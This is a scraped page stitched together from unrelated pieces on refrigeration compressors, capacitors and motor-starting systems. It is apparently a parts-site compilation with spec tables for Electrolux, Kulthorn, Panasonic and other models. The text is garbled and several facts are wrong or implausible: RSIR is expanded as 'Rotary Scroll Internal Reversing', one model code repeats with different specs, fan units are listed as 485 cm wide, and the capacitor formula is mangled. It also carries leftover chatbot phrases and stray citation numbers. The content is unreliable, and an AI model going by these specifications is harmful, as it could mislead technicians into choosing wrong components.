Reliability: Engineered for long-term performance in demanding conditions.
Energy Efficiency: Optimized for minimal energy consumption with high COP values.
Versatility: Suitable for both small domestic units and large industrial systems.
Page 1: Compressors and condensing units for low-temperature applications using R404a refrigerant.
Page 2: Compressors and condensing units for medium/high-temperature applications using R404a refrigerant.
Page 3: Compressors and condensing units for medium/high-temperature applications using R134a refrigerant.
2. Key Technical Data:
Compressor Type: Compressors are classified based on displacement (cm³/rev) and motor power (HP).
Motor Type: CSIR (Capacitor Start Induction Run).
Electrical Power: Measured in watts (Watts) and electrical current (FLA) in amperes.
Cooling Capacity: Measured in watts (Watts) and varies based on ambient temperature and evaporating temperature.
Dimensions and Weight: Dimensions (length, width, height) are provided in millimeters, and weight is given in kilograms.
3. Illustrative Tables:
Table 1: Compressors for Low-Temperature Applications (R404a)
Model
Displacement (cm³/rev)
Motor Power (HP)
Motor Type
Electrical Power (Watts)
Electrical Current (Amps)
Ambient Temp. (°C)
Cooling Capacity (Watts)
Dimensions (mm)
Weight (kg)
CM1A5FB3N
4.6
1/6
CSIR
226
1.6
40
95 – 370
425x325x220
14.5
CM1B0FB3N
6.0
1/5
CSIR
270
1.8
38
122 – 454
425x325x220
16.5
CM1B0FB3N
8.1
1/4
CSIR
345
2.2
38
159 – 548
425x325x220
17.2
CM1B0FB3N
8.6
1/3
CSIR
358
2.2
38
195 – 679
425x335x245
19.2
CM1P12FB3N
12.0
3/8
CSIR
219
2.9
32
263 – 965
425x335x245
22.3
CM1P14FB3N
14.0
1/2
CSIR
572
3.4
32
264 – 999
425x335x245
22.3
CMX13RF3N
18.4
5/8
CSIR
718
3.6
32
358 – 1351
510x350x275
28.0
CM1B22FB3N
21.8
2/3
CSIR
754
3.8
32
355 – 1712
540x385x300
34.0
CMS26FB3N
26.2
3/4
CSIR
890
4.7
32
369 – 2218
525x425x355
39.0
CM53GFB3N
30.0
7/8
CSIR
1130
5.6
32
618 – 2385
545x425x350
39.0
Table 2: Compressors for Medium/High-Temperature Applications (R404a)
Model
Displacement (cm³/rev)
Motor Power (HP)
Motor Type
Electrical Power (Watts)
Electrical Current (Amps)
Ambient Temp. (°C)
Cooling Capacity (Watts)
Dimensions (mm)
Weight (kg)
CM140TB3N
4.0
1/5
CSR
348
2.0
32
205 – 687
425x325x235
14.6
CM145TB3N
4.5
1/4
CSR
385
2.2
32
221 – 728
425x325x235
14.7
CM160TB3N
5.7
1/3
CSR
477
2.8
32
274 – 907
425x330x245
22.7
CM180TB3N
7.6
3/8
CSR
570
3.3
32
420 – 1300
450x355x270
23.5
CM190TB3N
8.9
1/2
CSR
700
4.0
32
434 – 1433
425x335x270
23.9
CMIP12TB3N
12.0
1/2
CSR
860
4.1
32
598 – 2023
450x355x350
29.8
CMIP14TB3N
14.0
5/8
CSR
1000
4.9
32
631 – 2172
450x355x350
29.9
CMX16TB3N
16.0
1
CSR
1163
5.8
32
751 – 2385
450x355x350
30.0
CMX18TB3N
18.4
11/8
CSR
1370
7.0
32
812 – 2425
450x355x350
30.0
CMR22TB3N
21.2
11/4
CSR
1228
6.3
32
885 – 3213
450x355x350
30.0
CM52BTB3N
25.9
11/2
CSR
1772
9.0
32
1218 – 4023
450x355x350
30.0
Table 3: Compressors for Medium/High-Temperature Applications (R134a)
Model
Displacement (cm³/rev)
Motor Power (HP)
Motor Type
Electrical Power (Watts)
Electrical Current (Amps)
Ambient Temp. (°C)
Cooling Capacity (Watts)
Dimensions (mm)
Weight (kg)
CG1401r83NR
4.0
1/8
CSIR
219
1.4
32
87 – 455
425x325x210
14.5
CG1451r83NR
4.5
1/6
CSIR
237
1.4
32
111 – 503
425x325x210
14.5
CG1601r83NR
5.7
1/5
CSIR
270
1.7
32
154 – 623
425x325x235
17.0
CG1301r83NR
8.8
1/4
CSIR
385
2.3
32
717 – 945
425x340x245
18.5
CGP10RB3N
10.2
1/3
CSIR
452
2.7
32
502 – 1123
425x350x270
19.5
CGP12T83NR
12.1
3/8
CSIR
602
3.6
32
529 – 1229
425x350x270
20.0
CGP14T83NR
14.0
3/8
CSIR
665
4.0
32
301 – 1354
425x350x270
21.5
CGX18T83N
18.4
1/2
CSIR
845
5.1
32
394 – 1811
510x361x297
26.0
CGX21T83N
20.7
5/8
CSIR
1001
5.8
32
454 – 2057
480x450x312
29.0
CGS26T83N
25.9
3/4
CSIR
1120
6.85
32
541 – 3182
525x425x355
36.0
CGS30T83N
30.0
7/8
CSIR
1170
6.4
32
627 – 3340
545x425x350
39.0
CGS34T83N
34.4
1
CSIR
1352
7.0
32
707 – 3340
545x425x350
39.0
4. Explanations and Analysis:
A. Compressor Applications:
Low-Temperature Applications: These compressors are used in refrigeration systems that require low temperatures, such as refrigerators and freezers. The refrigerant used is R404a.
Medium/High-Temperature Applications: These compressors are used in air conditioning and refrigeration systems that operate at higher temperatures, such as air conditioners and commercial refrigeration systems. The refrigerants used are R404a and R134a.
B. Cooling Capacity:
Cooling capacity varies based on ambient temperature and evaporating temperature. The lower the evaporating temperature, the lower the cooling capacity of the compressor.
Larger compressors (with higher displacement) provide higher cooling capacity.
C. Dimensions and Weight:
Larger compressors weigh more and take up more space, requiring appropriate system design for installation.
D. Compatibility with Other Refrigerants:
All models are suitable for use with R507 and R407B refrigerants, providing flexibility in refrigerant selection based on application and local regulations.
5. Conclusion:
Electrolux offers a wide range of compressors and condensing units to meet various cooling needs, whether for low-temperature or medium/high-temperature applications.
The provided technical data helps in selecting the appropriate compressor based on required cooling capacity, environmental conditions, and available installation space.
Visit Link for more informations; https://www.mbsm.pro/c-bzn175l5z
https://mbsm.pro/wp-content/uploads/uploads/Mbsm-tn-media-Compressor-C-BZ120-1-6-hp-120w-Mhbp-r12-C-BZ-C-BZN-KULTHORN-KULTHORN.pdf
The C-BZ120 is a model of compressor manufactured by Kulthorn Kirby, a well-known company in the refrigeration and air conditioning industry. Here’s a breakdown of the details you provided:
Model: C-BZ120
Power: 1/6 horsepower (HP)
Wattage: 120W
Refrigerant: R12 (a chlorofluorocarbon refrigerant, now largely phased out due to environmental concerns)
Series: C-BZ or C-BZN (likely indicating variations or specific configurations of the compressor)
Brand: Kulthorn Kirby
Key Features:
1/6 HP: This indicates the motor’s power output, suitable for small refrigeration systems.
120W: The electrical power consumption of the compressor.
R12 Refrigerant: This compressor was designed for use with R12, which was commonly used in older refrigeration systems. Due to its ozone-depleting properties, R12 has been replaced by more environmentally friendly refrigerants like R134a or R600a.
MHBP: This likely stands for “Medium High Back Pressure,” indicating the compressor is designed for medium-temperature applications, such as commercial refrigeration or air conditioning systems.
Applications:
The C-BZ120 compressor is typically used in small refrigeration units, such as:
Purpose: The core component for pressurizing refrigerant in a cooling cycle.
Model S36G: Likely a specific compressor model (possibly from a brand like Secop, Danfoss, or a regional manufacturer). Verify with manufacturer documentation for exact specs.
Application: Small-scale systems (e.g., commercial water coolers, medical devices, or compact refrigeration) due to the small refrigerant charge.
2. Refrigerant (R134a, 32g)
R134a: A common hydrofluorocarbon (HFC) refrigerant used in medium-temperature systems (e.g., refrigerators, AC units, water coolers).
32g Charge: Indicates a small system, typical for portable or compact units. Ensure the charge matches manufacturer specifications to avoid inefficiency or damage.
3. Water-Cooler System
Water-Cooled Condenser: Uses water (instead of air) to dissipate heat, improving efficiency. Requires a water supply, pump, and possibly a cooling tower.
Applications: Often found in commercial settings (e.g., water dispensers, industrial chillers, or high-efficiency HVAC systems).
4. BLY-F/950
Likely a component model, such as:
Filter drier: Removes moisture/contaminants from refrigerant.
Pressure switch: Safety device to control system pressure.
Control board/Valve: Part of the system’s electrical or flow regulation.
Check manufacturer manuals or suppliers for exact function.
Key Considerations
Compatibility: Ensure the compressor (S36G) is designed for R134a and water-cooled operation.
Refrigerant Charge: Confirm 32g is correct (undercharging/overcharging affects performance).
Water Cooling: Check for scale buildup, water flow rate, and pump functionality.
BLY-F/950 Replacement: Cross-reference with OEM parts or contact the system manufacturer.
Troubleshooting Tips
Low Cooling Efficiency: Check refrigerant charge, water flow, or condenser cleanliness.
Component Failure: Test the BLY-F/950 part (e.g., continuity for switches, clogging in filter driers).
Noise/Leaks: Inspect the compressor and refrierant lines.
Compressor BPM1084Z, B1085A, AE8ZA7: A Comprehensive Overview
In the world of refrigeration and air conditioning systems, compressors play a pivotal role in ensuring efficient operation. One such compressor that has gained significant attention for its reliability and performance is the BPM1084Z/B1085A/AE8ZA7 , which is widely used in applications requiring precise temperature control. This article delves into the specifications, features, and applications of this compressor, making it easier to understand why it’s a popular choice for various industries.
Key Specifications
Below is a summary of the key specifications of the BPM1084Z/B1085A/AE8ZA7 compressor:
Parameter
Value
Model Numbers
BPM1084Z, B1085A, AE8ZA7
Horsepower (HP)
1/8 HP
Refrigerant Type
R134a
Power Consumption
102W
Displacement
4.15 cc
Application
Freezing Systems
Design
Rotary Compressor with RSIR Configuration
1. Model Identification
The BPM1084Z, B1085A, and AE8ZA7 are essentially different model numbers for the same compressor, often used interchangeably depending on the manufacturer or supplier. These models belong to the rotary compressor family, known for their compact design and high efficiency.
2. Refrigerant Compatibility
This compressor is designed to work with R134a , a widely-used refrigerant renowned for its environmental friendliness compared to older alternatives like R12. R134a is non-flammable, ozone-friendly, and suitable for low-temperature applications such as freezing systems.
3. Power and Efficiency
With a nominal power consumption of 102 watts and a displacement of 4.15 cubic centimeters , this compressor strikes an excellent balance between energy efficiency and cooling capacity. Its 1/8 HP rating makes it ideal for small-scale applications where space and power usage are critical considerations.
4. RSIR Design
The “RSIR” designation refers to the internal configuration of the compressor. It stands for Rotary Scroll Internal Reversing , indicating that the compressor uses a rotary mechanism combined with scroll technology for smooth and quiet operation. The internal reversing feature enhances versatility by allowing the compressor to handle both cooling and heating cycles when paired with appropriate systems.
Applications
The BPM1084Z/B1085A/AE8ZA7 compressor is particularly well-suited for applications involving freezing systems due to its ability to maintain consistent temperatures at lower levels. Some common use cases include:
Commercial Refrigeration: Used in small walk-in coolers, beverage chillers, and display cases.
Home Appliances: Integrated into compact freezers, wine coolers, and mini-split air conditioners.
Automotive Air Conditioning: Suitable for smaller vehicles or auxiliary cooling systems.
Laboratory Equipment: Employed in precision cooling systems for sensitive instruments and samples.
Advantages
Compact Size: The compressor’s small footprint makes it easy to install in confined spaces without compromising performance.
Low Noise Levels: Thanks to its rotary-scroll design, the BPM1084Z operates quietly, making it suitable for environments where noise reduction is essential.
Energy Efficiency: With only 102 watts of power consumption, it offers significant savings over time while maintaining effective cooling.
Reliability: Built with robust materials and advanced engineering, this compressor ensures long-term durability and minimal maintenance requirements.
Compatibility: Designed to work seamlessly with R134a refrigerant, it aligns with modern standards for environmentally safe systems.
Maintenance Tips
To ensure optimal performance and longevity of the BPM1084Z/B1085A/AE8ZA7 compressor, consider the following maintenance practices:
Regular Cleaning: Keep the compressor clean and free from dust or debris to prevent overheating.
Oil Checks: Ensure the compressor is adequately lubricated using the recommended oil type specified by the manufacturer.
System Inspections: Periodically inspect the refrigerant charge and piping for leaks or blockages.
Operational Monitoring: Monitor the system’s pressure and temperature readings to detect potential issues early.
Conclusion
The BPM1084Z/B1085A/AE8ZA7 compressor exemplifies the perfect blend of efficiency, reliability, and adaptability. Whether you’re looking to equip a commercial freezer, a home appliance, or specialized laboratory equipment, this compressor delivers dependable performance tailored to meet your needs. By understanding its specifications and adhering to proper maintenance guidelines, users can maximize its lifespan and enjoy consistent results across various applications.
To better understand the codes, we can group them by their prefixes:
D-Series
These are likely standard Panasonic compressors:
D51C10RAW5
D51C90RAW5
D57C10RAW5
D57C13RAX5
D66C13RAW5
D66C13RAX5
D77C15RAW5
D77C18RAX5
D91C18RAW5
D91C21RAX5
D110C21RAX5
D110C21RAZ5
D110C21RBX5
D110C24GAX5
DA-Series
These may represent advanced or upgraded versions:
DA57C11RAY5
DA66C12RAY5
DA77C15RAY5
DB-Series
These could be specialized or commercial-grade compressors:
DB66C10RAW5
DB66C12RAY5
DB66C14RBX5
DB73C13RAY5
DB77C14RAY5
DB77C16RBX5
DB86C16RAY5
DB91C14RAW5
DB91C19RAY5
DB91C21RAX5
DB110C19RAW5
DB110C22RAW5
DD-Series
Possibly high-efficiency or dual-stage compressors:
DD57C10RAW5
DD57C12GAX5
DD66C13RAW5
DD66C14GAX5
DD77C15GAX5
DD77C15RAW5
DD86C18RAW5
DG-Series
May represent gas-cooled or hermetic compressors:
DG51C89RAW5
DGH51C90RAX
DG57C90GCW5
DG57C96RAW5
DG66C11RAW5
DG66C13GAX5
DG73C12RAW5
DG77C14RAW5
DG77C16GAX5
DG91C18RAW5
DG91C21RAX5
QA-Series
Could be for air conditioning or heat pump applications:
QA66C12GAX5
QA66C14GAX5
QA66C15GAX5
QA77C17GAX5
QA91C22GAX5
QB-Series
Likely for higher-capacity or industrial use:
QB51C74GAW5
QB51C95GPW5
QB51C99GAW0
QB51C99GAX0
QB51C99GLX5
QB57C11GAX0
QB57C11GLX5
QB57C11GPX5
QB57C86GAX0
QB57C87GAW5
QB66C13GAX5
QB66C13GLX5
QB66C13GPX5
QB66C16GAX0
QB66C97GAW5
QB73C12GAW5
QB73C15GAX5
QB73C16GAX5
QB77C13GAW5
QB77C16GAX5
QB77C16GLX5
QB77C16GPX5
QB77C18GAX0
QB86C13GAW5
QB86C18GAX5
QB91C16GAW5
QB91C18GAX0
QB91C19GAX5
QB91C21RPX5
QB91C24GAX0
QB110C19GAW5
QB110C25CAX0
QB110C25GAX5
MGA-Series
May represent modular or customizable compressors:
MGA57C95RPX
MGA66C11RPX
MGA73C15RPX
MGA77C16RLX
SB-Series
Could be scroll-type or semi-hermetic compressors:
SB24C50GAW5
SB30C50GAW5
SB35C65GAW5
SB35C67RAY5
SB43C80GAW5
SB43C90RAY5
SB48C10RAY5
SB48C12GAX5
SB48C95GAW5
SF-Series
Possibly for fractional horsepower or small-scale applications:
SF39C74RAX5
SF39C78GAX5
SF43C76RAX5
SF43C83RAW5
SF48C10RAX5
SF48C91RAW5
SF51C10RAX5
SF51C91RAW5
Other Codes
Some codes have unique prefixes like QBH, DHS, DKK, etc., which may correspond to specialized or regional product lines.
Panasonic compressors are widely recognized for their reliability, efficiency, and durability. They are commonly used in a variety of applications, including air conditioning systems, refrigeration units, heat pumps, and more. Below is an overview of Panasonic compressors, their types, features, and how they are classified.
1. Types of Panasonic Compressors
a. Rotary Compressors
Description : These compressors use a rotating mechanism to compress refrigerant gas. They are known for their compact size, low noise, and high efficiency.
Applications : Ideal for small to medium-sized air conditioners, refrigerators, and freezers.
Examples :
D51C10RAW5
DB66C10RAW5
b. Scroll Compressors
Description : Scroll compressors use two spiral-shaped scrolls to compress refrigerant. They are highly efficient and quiet, making them suitable for residential and commercial HVAC systems.
Applications : Used in air conditioners, heat pumps, and large refrigeration systems.
Examples :
SB24C50GAW5
SB35C65GAW5
c. Reciprocating Compressors
Description : These compressors use pistons to compress refrigerant. They are robust and reliable but generally less efficient than rotary or scroll compressors.
Applications : Commonly used in industrial refrigeration systems.
Examples :
DGH51C90RAX
DG57C90GCW5
d. Variable-Speed Compressors
Description : These compressors can adjust their speed based on the cooling or heating demand, improving energy efficiency and comfort.
Applications : Suitable for advanced air conditioning and heat pump systems.
Examples :
QB77C16GAX5
QB91C21RPX5
e. Hermetic Compressors
Description : Hermetically sealed compressors are fully enclosed to prevent leaks and contamination. They are maintenance-free and highly reliable.
Applications : Used in household appliances like refrigerators and freezers.
Examples :
QA66C12GAX5
QA91C22GAX5
2. Features of Panasonic Compressors
a. High Efficiency
Panasonic compressors are designed to minimize energy consumption while maintaining optimal performance. Many models meet or exceed global energy efficiency standards.
b. Durability
Built with high-quality materials and advanced engineering, Panasonic compressors are built to last. They undergo rigorous testing to ensure reliability under various operating conditions.
c. Low Noise
Panasonic uses advanced technologies to reduce noise levels, making their compressors ideal for residential and commercial environments where quiet operation is essential.
d. Compatibility
Panasonic compressors are compatible with a wide range of refrigerants, including eco-friendly options like R32 and R410A.
e. Smart Control
Many Panasonic compressors come with built-in sensors and control systems that optimize performance based on real-time conditions.
3. Code Breakdown for Panasonic Compressors
The alphanumeric codes used by Panasonic provide detailed information about each compressor. Here’s how they can be interpreted:
General Structure
Prefix : Indicates the series or type of compressor (e.g., D, DB, DG, QA, QB).
Number Segment 1 (XX) : Represents the capacity or size of the compressor.
Separator (C) : A delimiter separating different parts of the code.
Number Segment 2 (YY) : Specifies the version, design, or feature level.
Suffix (ZZZ) : Describes the configuration, application, or technology.
Examples
D51C10RAW5:
Prefix: D (Standard compressor)
Capacity: 51 (indicative of size or power)
Separator: C
Version: 10
Suffix: RAW5 (Air-cooled, standard model)
QB77C16GAX5:
Prefix: QB (High-performance compressor)
Capacity: 77
Separator: C
Version: 16
Suffix: GAX5 (Gas-cooled, enhanced efficiency)
4. Applications of Panasonic Compressors
a. Air Conditioning Systems
Panasonic compressors are widely used in both split-type and central air conditioning systems. Their variable-speed and inverter technologies ensure precise temperature control and energy savings.
b. Refrigeration Units
From small household refrigerators to large commercial chillers, Panasonic compressors offer reliable performance across a wide range of applications.
c. Heat Pumps
Panasonic compressors are integral components of heat pump systems, providing efficient heating and cooling in a single unit.
d. Industrial Applications
In industrial settings, Panasonic compressors are used for process cooling, cold storage, and other demanding applications.
5. Popular Models
Here are some popular Panasonic compressor models and their typical applications:
Model
Type
Application
D51C10RAW5
Rotary
Small air conditioners
DB66C10RAW5
Rotary
Medium-sized air conditioners
SB24C50GAW5
Scroll
Residential air conditioners
QA66C12GAX5
Hermetic
Refrigerators and freezers
QB77C16GAX5
Variable-Speed
Advanced air conditioning systems
DG57C90GCW5
Reciprocating
Industrial refrigeration systems
6. Advantages of Panasonic Compressors
Energy Efficiency : Panasonic compressors are designed to reduce electricity consumption without compromising performance.
Quiet Operation : Advanced noise reduction technologies make Panasonic compressors ideal for residential and office environments.
Reliability : Built to withstand harsh conditions, Panasonic compressors offer long service life with minimal maintenance.
Eco-Friendly : Many Panasonic compressors use environmentally friendly refrigerants, contributing to sustainability.
7. Conclusion
Panasonic compressors are trusted globally for their exceptional performance, efficiency, and reliability. Whether you’re looking for a compact rotary compressor for a home refrigerator or a high-capacity scroll compressor for a commercial HVAC system, Panasonic offers a wide range of solutions tailored to your needs.
Discover the Perfect Unit for Your Needs!
Whether you’re upgrading industrial equipment or selecting machinery for a specialized project, choosing the right horsepower (HP) unit is crucial for efficiency and performance. Check out our detailed specifications below to find the ideal match for your requirements!
Specifications Overview: Horsepower Units
HP
Length (cm)
Width (cm)
Height (cm)
Blades
Blade Length (mm)
Blade Spacing (mm)
Motor Size (cm)
Weight (kg)
1/3 HP
115
485
425
12
24
126
108
116
1/4 HP
105
485
425
11
22
126
108
106
1/5 HP
95
485
425
10
20
126
108
96
1/6 HP
85
485
425
9
18
126
108
86
1/7 HP
75
485
425
8
16
126
108
76
1/8 HP
65
485
425
7
14
126
108
66
1/9 HP
55
485
425
6
12
126
108
56
1/10 HP
45
485
425
5
10
126
108
46
1/12 HP
35
485
425
4
8
126
108
36
Why Choose These Units?
✅ Precision Design: Uniform dimensions (485cm width × 425cm height) ensure compatibility and easy integration.
✅ Scalable Power: Options from 1/3 HP to 1/12 HP cater to diverse industrial and commercial needs.
✅ Optimized Blades: Blade length and spacing tailored for maximum airflow and efficiency.
✅ Lightweight Build: Lower HP models (e.g., 1/12 HP at 36kg) are perfect for portable applications.
Key Considerations
Motor Size: All units feature a 108cm motor, ensuring consistent performance across the range.
Blade Configuration: More blades in higher HP units enhance airflow for demanding environments.
Weight-to-Power Ratio: Balance portability and power based on your project’s demands.
The K2-C239ELFCEF appears to be a model of an air conditioning or refrigeration compressor. Based on the search results, here is the relevant information:
Key Specifications of K2-C239 Compressor:
Model: K2-C239
Nominal Output: 1.40 kW
Cooling Capacity:
50Hz: 4080 W (13930 BTU/hr)
60Hz: 4970 W (16965 BTU/hr)
Weight: 16 kg
Dimensions: 323.8 mm (A) x 312 mm (B) x 274.5 mm (C) 3.
Horsepower (HP) Information:
The nominal output of 1.40 kW translates to approximately 1.2 HP (since 1 kW ≈ 1.34 HP). This makes the K2-C239 suitable for medium-capacity cooling applications, such as window coolers, split coolers, and home dehumidifiers 3.
Applications:
This compressor is designed for use in air conditioning systems, including residential and light commercial cooling units. It is part of the K2 series, which is known for its reliability and efficiency in cooling applications 313.
Additional Notes:
The K2-C239 is part of a broader product line that includes variations like K2-C223 and K2-C262, each with slightly different cooling capacities and specifications 3.
If you are looking for specific details about the “ELFCEF” variant, it may refer to a customized or region-specific model. You may need to contact the manufacturer or supplier for precise details 13.
For further information, you can refer to the product listings on platforms like Alibaba or manufacturer websites 313. If you need assistance with procurement or technical support, reaching out to the supplier directly is recommended.
Model Variations:
The T182SC has multiple variants, such as T182SC.MC0, T182SC.UC2, and T182SC.NC1, which may differ slightly in specifications or regional compatibility.
Compatibility:
Designed for use with LG HVAC systems, including air conditioners and heat pumps.
Likely compatible with LG air conditioning units, such as the LG 18000 BTU Dual Inverter models.
Functionality:
Provides basic temperature control features, such as heating and cooling modes.
May support additional features like programmable schedules or Wi-Fi connectivity, depending on the variant.
Installation:
Typically wall-mounted and designed for easy installation in residential or light commercial settings.
Requires proper wiring and configuration to ensure compatibility with the HVAC system.
Applications:
Residential Use: Controls temperature in homes, particularly for electric heating systems or air conditioning units.
Light Commercial Use: Suitable for small offices, workshops, or other spaces requiring precise temperature control.
Related LG Air Conditioning Products:
The LG T182SC thermostat is often used with LG air conditioning units, such as:
LG 18000 BTU Dual Inverter Air Conditioner: Features a Dual Inverter Compressor™ for energy efficiency, rapid cooling, and quiet operation.
LG Split Air Conditioner (S18ATC): A 18000 BTU unit with R22 refrigerant, designed for residential use.
Do you need to replace a start or run capacitor and you don’t know which one the equipment has? In this post we will give you some tables of start and run capacitors so that you can access it when you need it.
The topic regarding the calculation of capacitors for single-phase compressors is of great importance, because whoever is repairing needs to know when it is in poor condition and also what the replacement of the damaged part will be.
The technician who manipulates the equipment has to know that the new capacitor that he has bought to replace the old one must exactly meet the working voltage or greater than that of the original.
It is also important to highlight in this article that the compressor voltage has almost no relation to the capacitor voltage.
If you do not have the original capacitor data, you can approximate it using the following capacitor values for single-phase motors that we present below.
They can be used as a guide or reference for selecting, replacing capacitors when the exact values are unknown.
Table of starting capacitors for single-phase motors
Table of Start and Run Capacitors for Single Phase Capacitors
In this table, which is very similar to the previous one, I attach capacitor values for single-phase motors.
both working and starting capacitors, this way you will have the most user-friendly information in a single image
Capacitor Table for Three-Phase Electric Motors
As a general rule, low-power three-phase electric motors have an operating voltage of 220 VD / 380 VY, but we must always make sure .
To do this, it is best to look at the motor’s nameplate. Where the voltages and connection will be indicated to know the type of Capacitor they use.
Fan run capacitor table
If you need to change a running or permanent fan capacitor, this table attached below can guide you to resolve the fault of the equipment you are repairing:
Understanding Starting Capacitors for Compressors: A Comprehensive Guide
Introduction Starting capacitors play a crucial role in the efficient operation of compressors, especially in single-phase motors. They help generate the necessary starting torque and ensure smooth operation. This guide provides a detailed overview of starting capacitors, their importance, and how to select the right one for your compressor. We’ll also explore key specifications and troubleshooting tips to ensure optimal performance.
1. What is a Starting Capacitor?
A starting capacitor is an electrical component used in single-phase motors to create a phase shift, which generates the torque needed to start the motor. Without a starting capacitor, single-phase motors would struggle to start due to insufficient torque.
2. Key Functions of Starting Capacitors
Generate Starting Torque: Provides the necessary torque to start the compressor motor.
Phase Shift Creation: Creates a 90-degree phase shift to simulate a second phase in single-phase motors.
Smooth Operation: Ensures the motor starts smoothly without excessive current draw.
3. Table: Starting Capacitor Specifications for Compressors
Compressor Model
Power (W)
Voltage (V)
Capacitance (µF)
Max. Current (A)
Release Current (A)
BSA15
150
230
10
1.55
1.6
BSA10
250
230
15
2.43
2.07
B10A19
300
230
20
3.0
2.56
B12A12
350
230
25
3.5
2.95
B16A13
500
230
30
5.15
4.85
B9A11
750
230
35
7.0
5.9
4. How to Calculate the Right Capacitor for Your Compressor
The capacitance of a starting capacitor is critical for optimal performance. Here’s a simple formula to calculate the required capacitance:
Formula:
C=P×1062πfV2cos(ϕ)C=2πfV2cos(ϕ)P×106
Where:
CC = Capacitance (in microfarads, µF)
PP = Motor power (in watts, W)
ff = Frequency (in hertz, Hz, typically 50 or 60 Hz)
VV = Voltage (in volts, V)
cos(ϕ)cos(ϕ) = Power factor (typically 0.85 for motors)
Failed Capacitor: A faulty capacitor can prevent the motor from starting or cause it to overheat.
Incorrect Capacitance: Using a capacitor with the wrong capacitance can lead to insufficient torque or excessive current draw.
Overheating: Poor ventilation or excessive load can cause the capacitor to overheat and fail.
6. Troubleshooting Tips
Check Continuity: Use a multimeter to test the capacitor for continuity. A failed capacitor will show no continuity.
Measure Capacitance: Use a capacitance meter to ensure the capacitor’s value matches the required specifications.
Inspect for Physical Damage: Look for bulging, leaks, or burn marks on the capacitor, which indicate failure.
Test Under Load: Ensure the compressor starts smoothly and does not draw excessive current during startup.
7. Advantages of Using the Right Starting Capacitor
Improved Motor Lifespan: Reduces stress on the motor during startup.
Energy Efficiency: Minimizes power consumption during operation.
Reliable Performance: Ensures consistent and reliable compressor operation.
8. Conclusion
Selecting the right starting capacitor for your compressor is essential for ensuring efficient and reliable operation. By understanding the specifications, calculating the correct capacitance, and performing regular maintenance, you can extend the lifespan of your compressor and avoid costly repairs.
Introduction Motor starting systems are critical in ensuring the efficient and safe operation of electric motors across various industries. Choosing the right starting method can significantly impact performance, energy consumption, and equipment longevity. In this post, we’ll explore the most common motor starting systems, their characteristics, advantages, and disadvantages to help you make informed decisions for your applications.
1. Direct-On-Line (DOL) Starting
Characteristics:
Starting current: 5 to 8 times the rated current.
Starting torque: 0.5 to 1.5 times the rated torque.
Direct connection of the stator to the power supply.
Advantages:
Simple and cost-effective.
No additional devices required.
Disadvantages:
High starting current may cause voltage drops in the network.
Not recommended for high-power motors.
2. Star-Delta Starting
Characteristics:
Starting current: 1.5 to 2.6 times the rated current.
Reduced voltage in star mode (3 times lower).
Requires a motor with compatible windings.
Advantages:
Reduces starting current.
Suitable for machines with low resistive torque or no-load starting.
Disadvantages:
Requires a specific motor type.
Not effective for heavy loads.
3. Part-Winding Starting
Characteristics:
Starting current: Approximately half of DOL starting.
Starting torque: Higher than star-delta.
Uses two parallel windings.
Advantages:
Lower starting current.
Higher starting torque compared to star-delta.
Disadvantages:
Rarely used in Europe.
Requires a motor with specific windings.
4. Stator Resistance Starting
Characteristics:
Starting current: 4.5 times the rated current.
Starting torque: 0.75 times the rated torque.
Resistors in series with the windings.
Advantages:
Reduces starting current.
No winding modification required.
Disadvantages:
Energy losses in resistors.
Requires a timer to remove resistors.
5. Autotransformer Starting
Characteristics:
Reduced voltage during starting.
Three stages: star, partial coupling, and full voltage.
Selectable transformation ratio.
Advantages:
Reduces starting current.
Flexible voltage selection.
Disadvantages:
Expensive and complex.
Requires additional space for the autotransformer.
6. Electronic Soft Starter
Characteristics:
Limits current and adjusts torque.
Smooth start and stop.
Electronic control of applied voltage.
Advantages:
Smooth starting reduces mechanical stress.
Energy savings.
Disadvantages:
Higher initial cost.
Requires maintenance of the electronic system.
7. Variable Frequency Drive (VFD) Starting
Characteristics:
Speed and torque control.
Suitable for high-inertia loads.
Optimizes energy consumption.
Advantages:
Precise speed control.
Ideal for applications requiring variable speed.
Disadvantages:
High initial cost.
Requires technical expertise for setup and maintenance.
Conclusion
Selecting the right motor starting system depends on factors such as motor size, load type, and operational requirements. While DOL starting is simple and cost-effective, more advanced systems like soft starters and VFDs offer greater control and efficiency, albeit at a higher cost. Understanding these systems will help you optimize performance, reduce energy consumption, and extend the lifespan of your equipment.
If you have any questions or need further assistance in choosing the right motor starting system for your application, feel free to leave a comment or contact us!
Tags: Motor Starting Systems, Electric Motors, Soft Starters, VFD, Star-Delta Starting, Industrial Automation Categories: Electrical Engineering, Industrial Automation, Energy Efficiency
table organizes the information for better readability and understanding:
Content Table: Motor Starting Systems and Protection Specifications
1. General Specifications
Model
Concesor Current (A)
Relaxo Current (A)
Overload Current (A)
Applied Temperature (°C)
Concesor Temperature (°C)
1171/2010
2
1.6
4
–
–
1171/2030
3
2.6
5
105 ± 10
60 ± 10
1171/2040
4
3.6
6.5
–
–
1171/2050
4.6
4.2
6.5
–
–
2. Compressor Power Specifications (HF)
Component Power (HF)
Compressor Power Model
Max. Connection Current (A)
Minimum Release Current (A)
1/12
BSA15
1.55
1.6
1/8
BSA10
2.43
2.07
1/6
B10A19
3
2.56
1/5
B12A12
3.5
2.95
1/4
B16A13
5.15
4.85
1/3
B9A11
7
5.9
3. Compressor Power and Current Ratings
Component Power (HF)
Compressor Power (W)
Max. Connection Current (A)
Release Current (A)
1/12
61
2
1.6
1/10
74
2.5
2
1/8
93
3
2.6
1/7
105
3.3
2.8
1/6
125
3.6
3
1/5
150
4.75
3.35
1/4
180
5.35
4.25
1/3
245
6
4.75
1/2
370
7.5
6
4. IRFA Series Specifications
Model
Compressor Power (W)
Max. Connection Current (A)
Release Current (A)
IRFA-20
450W (20HF)
14
–
IRFA-10
750W (1HF)
16
–
IRFA-13
975W (1HF)
20
–
IRFA-15
1100W (2HF)
24
–
IRFA-20
1500W (2HF)
30
–
5. Additional Notes
Concesor Current: The current drawn by the compressor during operation.
Relaxo Current: The current at which the system releases or disconnects.
Overload Current: The maximum current the system can handle before tripping.
Applied Temperature: The operating temperature range for the system.
Concesor Temperature: The temperature range for the compressor during operation.
This table provides a clear and organized overview of the motor starting and protection systems, including their specifications and performance metrics. Let me know if you need further assistance!
Sistemas de arranque:
